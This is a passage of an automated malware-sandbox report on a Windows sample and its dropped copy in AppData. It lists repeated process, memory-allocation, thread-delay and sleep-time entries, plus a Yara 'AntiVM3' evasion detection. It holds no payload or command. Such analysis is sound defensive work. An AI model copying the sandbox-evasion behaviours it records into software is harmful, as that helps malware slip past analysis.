Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: 2i3Lj7a8Gk.exe PID: 6360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lyNyKapwZJLKnn.exe PID: 7260, type: MEMORYSTR

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Memory allocated: 1100000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Memory allocated: 2AD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Memory allocated: 2920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Memory allocated: 7910000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Memory allocated: 8910000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Memory allocated: 8AC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Memory allocated: 9AC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Memory allocated: 9E20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Memory allocated: AE20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Memory allocated: BE20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Memory allocated: 1470000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Memory allocated: 3070000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Memory allocated: 2E60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Memory allocated: 1730000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Memory allocated: 3110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Memory allocated: 1750000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Memory allocated: 7580000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Memory allocated: 8580000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Memory allocated: 8700000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Memory allocated: 9700000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Memory allocated: 9E00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Memory allocated: AE00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Memory allocated: 1140000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Memory allocated: 2B80000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Memory allocated: 2AD0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 599326	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 598671	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 598323	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 598093	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 597981	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 597873	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 597765	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 597656	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 597546	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 597437	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 597218	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 597109	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 597000	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 596890	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 596781	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 596562	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 596343	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 596015	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 595902	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 595671	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 595343	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 595231	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 595109	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 594890	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 594671	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 599885
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 599765
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 599656
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 599547
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 599437
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 599328
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 599218
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 599109
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 599000
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 598890
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 598781
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 598671
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 598562
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 598453
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 598343
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 598234
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 598124
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 598015
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 597906
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 597797
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 597687
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 597578
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 597468
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 597359
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 597250
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 597140
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 597031
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 596921
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 596812
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 596703
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 596581
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 596453
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 596343
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 596229
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 596109
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 595997
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 595852
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 595728
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 595609
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 595500
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 595390
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 595281
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 595169
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 595062
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 594953
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 594843
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 594734
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 594625
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Thread delayed: delay time: 594515

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8043	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1573	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Window / User API: threadDelayed 2893	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Window / User API: threadDelayed 6950	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Window / User API: threadDelayed 1396
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Window / User API: threadDelayed 8462

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 6304	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7268	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -32281802128991695s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7424	Thread sleep count: 2893 > 30	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7424	Thread sleep count: 6950 > 30	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -599326s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -599218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -598890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -598671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -598323s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -598203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -598093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -597981s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -597873s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -597765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -597656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -597546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -597437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -597328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -597218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -597109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -597000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -596890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -596781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -596672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -596562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -596453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -596343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -596234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -596125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -596015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -595902s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -595781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -595671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -595562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -595453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -595343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -595231s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -595109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -595000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -594890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -594781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -594671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe TID: 7400	Thread sleep time: -594562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7288	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep count: 31 > 30
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -28592453314249787s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7636	Thread sleep count: 1396 > 30
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -599885s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7636	Thread sleep count: 8462 > 30
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -599765s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -599656s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -599547s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -599437s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -599328s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -599218s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -599109s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -599000s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -598890s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -598781s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -598671s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -598562s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -598453s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -598343s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -598234s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -598124s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -598015s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -597906s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -597797s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -597687s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -597578s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -597468s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -597359s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -597250s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -597140s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -597031s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -596921s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -596812s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -596703s >= -30000s
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe TID: 7628	Thread sleep time: -596581s >= -30000s
